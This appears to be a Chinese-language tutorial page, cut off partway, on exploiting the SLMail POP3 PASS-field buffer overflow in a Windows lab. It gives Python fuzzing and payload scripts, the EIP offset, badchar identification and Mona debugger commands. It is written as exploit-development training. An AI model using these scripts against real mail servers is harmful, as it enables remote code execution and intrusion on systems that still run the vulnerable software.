> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/windows-buffer-overflow-slmail.md).

# Windows 缓冲区溢出 - SLMail

SLMail Windows 缓冲区溢出笔记，涵盖 POP3 模糊测试、偏移发现、JMP ESP 选择、shellcode 投递和漏洞利用验证。

<details>

<summary>缓冲区溢出环境安装</summary>

1. 下载虚拟机 [Windows 7 基础版 32位](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. 在虚拟机中，下载 [调试器 ](https://www.immunityinc.com/products/debugger/):
3. 安装完成后，在终端中执行以下命令：

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. 复制这个 [脚本 ](https://www.immunityinc.com/products/debugger/)到 a.py 文件：
5. 将脚本粘贴到 `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. 最后，安装 [slmail](https://slmail.software.informer.com/download/):

![](https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9d0ea004dcea6450cb50b8b4a9a97886daf210c%2FPasted%20image%2020231215185617.png?alt=media)

</details>

## 初始模糊测试阶段和 EIP 寄存器控制：

{% hint style="success" %}
在利用缓冲区溢出的初始阶段，第一步是确定程序的边界。这可以通过测试在各种程序输入字段中引入额外字符来完成，例如文本字符串或文件，直到检测到篡改或应用程序失败。由于输入字段的上限已经确定，下一步是发现偏移量（offset），它表示导致程序发生改变并覆盖 EIP（扩展指令指针）寄存器值所需的字符的确切位置。这个寄存器指向下一条要执行的指令的内存地址，因此至关重要。在成功利用缓冲区溢出的情况下，它的值会被攻击者控制的地址替换，从而允许执行恶意代码。因此，在确定偏移量时，目标是指定需要输入的精确字符数量，以覆盖 EIP 寄存器值，从而使其指向由攻击者控制的内存地址。通过这些信息，你可以为目标程序设计一个专门的漏洞利用程序，同时控制 EIP 寄存器并允许执行恶意代码。
{% endhint %}

* 在 Immunity Debugger 中，我们选择 SL mail：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-814401f2c41e52e5696af1ca890aeb436e0cae08%2FPasted%20image%2020231215190137.png?alt=media" alt="" width="457"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374a257758e2403db797599c391fe5c1847dcb1a%2FPasted%20image%2020231215191905.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 我们现在将创建一个 Python 脚本，用于自动发现导致程序崩溃所需字节的数量。

```python
#!/usr/bin/python3

import socket 
import sys 

if len(sys.argv) != 2:
    print("/n[!] 用法：exploit.py <length>")
    exit(1)

ip_address = "192.168.71.139"
port = 110
total_length = int(sys.argv[1])

def exploit():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip_address, port))

    banner = s.recv(1024)
    
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + b"A"*total_length + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e88ae4ce0980a02cf1060611d554941f797131bf%2FPasted%20image%2020231215200210.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ce2df73d13d00dcf078b315ace53f555ecb87de%2FPasted%20image%2020231215200528.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

由于我们在 Windows 上，因此我们将使用 Metasploit 的一个工具。

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```

5000 个字符的示例：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f16c013bc892117218120ee7c31793310c6b1ca%2FPasted%20image%2020231215201532.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```python
#!/usr/bin/python3

import socket 
import sys 

ip_address = "192.168.71.139"
port = 110

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk

def exploit():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip_address, port))

    banner = s.recv(1024)
    
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* 服务崩溃了，但我们感兴趣的是 EIP 的值：

  <br>

  <figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28b2c479c74e7c622713cea32be2bac3431a311a%2FPasted%20image%2020231215202537.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>
* 使用下面这个同样来自 Metasploit 的脚本，我们传入这个值、EIP，它会计算可能的最大缓冲区字符数量： `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b04640f2b994462c9326627c9564a16afba816%2FPasted%20image%2020231215202729.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* 因此，一旦我们知道了偏移量，下面的脚本会注入 4 个 B 字符来查看它是否有效：

```python
#!/usr/bin/python3
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A"* offset 
eip = b"B"*4
payload = before_eip + eip 

def exploit():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip_address, port))

    banner = s.recv(1024)
    
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

\*我们看到 EIP 对应于字母 B 出现四次（42424242）：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49179ba2de7dc2b2e4871296cae73080aa755bfd%2FPasted%20image%2020231215210032.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 为 Shellcode 分配空间：

{% hint style="success" %}
一旦找到偏移量并在缓冲区溢出期间覆盖了 EIP 寄存器值，下一步就是在内存中定位输入字段中输入字符的表示。完成对 EIP 寄存器的改写后，在输入字段中引入的额外字符会在 ESP（扩展栈指针）寄存器中、堆栈的开头处被识别出来，这一点可通过 Immunity Debugger 观察到。ESP 是 CPU 的一个寄存器，负责管理程序中的堆栈，堆栈是一个临时内存区域，用于存储函数返回所需的值和地址。下一步是注入 shellcode，即与恶意行为对应的底层指令，并将其放置在被识别出来的位置。shellcode 被放置在那些被改变字符所在的栈地址中，同样利用缓冲区溢出来执行恶意代码并接管系统控制。设计 shellcode 时必须谨慎，避免被检测到恶意行为，并确保与 CPU 架构和目标利用系统兼容。总之，shellcode 的空间分配需要精确识别缓冲区溢出中其他字符的内存位置，然后有策略地注入恶意 shellcode。不过，shellcode 设计必须考虑到不需要的字符（badchars）的检测，我们将在下一步讨论如何检测它们并生成不包含这些元素的 shellcode。
{% endhint %}

现在，使用下面的脚本，我们来看看如果在 EIP 之后不创建缓冲区溢出，或者所有内容都保留在栈中，会发生什么：

```python
#!/usr/bin/python3
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A"* offset 
eip = b"B"*4
after_eip = b"C"*200
payload = before_eip + eip + after_eip

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56b7635fe64e091c057968f8a106f7f720359e54%2FPasted%20image%2020231215211303.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

如果我们在左侧使用 follow in dump 查看更多信息：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da2d03b32954f9c131400242d3e8dffb6b905892%2FPasted%20image%2020231215211653.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 字节数组的生成与 badchars 的检测：

{% hint style="success" %}
在创建用于利用缓冲区溢出的恶意 shellcode 时，目标程序可能无法正确解释某些特定字节，这些字节被称为 badchars。这些字节会破坏 shellcode 或导致程序意外崩溃。为避免这种情况，在生成最终 payload 之前，需要识别并移除 badchars。使用 Immunity Debugger 和 Mona，生成完整的 bytearray，将其发送到易受攻击的缓冲区中，并比较落入 ESP 的字节。任何缺失或被修改的字节都必须从最终 shellcode 中排除。
{% endhint %}

\*我们使用以下命令在桌面上创建一个带有 Mona 的工作文件夹：

<pre><code><strong>!mona config -set workingfolder C:/Users/Jordan/Desktop/Analysis
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e74cf963326c5412c59451d98ed14aaba3af16e%2FPasted%20image%2020231216162932.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 使用下面的命令，会创建这些文件：

```
!mona bytearray -cpb '/x00'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e9a8155c7cced8aeadd41cd33d97dd4e371a90a%2FPasted%20image%2020231216164439.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 为了传输文件，我们可以使用以下命令创建一个 SMB 服务器：

<pre><code><strong>impacket-smbserver smbFolder $(pwd) -smb2support
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a3880e0638401842764859ac9c012b993e10dd2%2FPasted%20image%2020231216164726.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 在文件资源管理器中输入 IP 地址，然后粘贴创建好的 bytearray 文件：<br>

  <figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-114d9b1ef98ce32f3eb96733bddb314c33fe0d86%2FPasted%20image%2020231216164919.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>
* 现在必须将这个字符串粘贴到脚本中（在每一行前加上 'b'，表示它处于字节模式）：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efeb4d99a821a751b9f02ab675193e32603e9cf4%2FPasted%20image%2020231216165116.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Python 脚本：

```python
#!/usr/bin/python3

import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = b"B" * 4
after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

payload = before_eip + eip + after_eip

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* 我们对 ESP 执行 follow in dump：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a2932fcef7ff514a9cd8e579e603abf71aa495a%2FPasted%20image%2020231216173642.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 在那里我们可以看到不需要的字符（它无法解释的字符）：

现在我们用下面的命令配合 ESP 数值（前面加上 0x，并与 bytearray.bion 进行比较）来查看哪些字符可以被正确解释：

<pre><code><strong>!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6e4ae424b9bb8e5096c012cef9c9fb82cc43106%2FPasted%20image%2020231216174534.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 使用这个命令，我们表示不要从 bytearray 文件中移除不需要的字符：

```
!mona bytearray -cpb '/x00/x0a'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51a551f19ba7fe11e4def304b477e4a5578aec1c%2FPasted%20image%2020231216174847.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 我们重新执行一次，它检测到了新的不需要的字符：

<pre><code><strong>!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d09c5610c4356e23b8501c69e683b6251c3010%2FPasted%20image%2020231216175436.png?alt=media" alt=""><figcaption></figcaption></figure>

\*然后我们再次更新 bytearray：

```
!mona bytearray -cpb '/x00/x0a/x0d'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84e088732af33098b7520eb80e534c3eeaf39ba4%2FPasted%20image%2020231216175616.png?alt=media" alt=""><figcaption></figcaption></figure>

* 如果我们再做一次，就不再出现错误了：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b27d250ef0337fbe05e43e2ae269d12c6b1af18%2FPasted%20image%2020231216180035.png?alt=media" alt=""><figcaption></figcaption></figure>

## 搜索可用于访问 ESP 并加载我们 Shellcode 的 OpCode：

{% hint style="success" %}
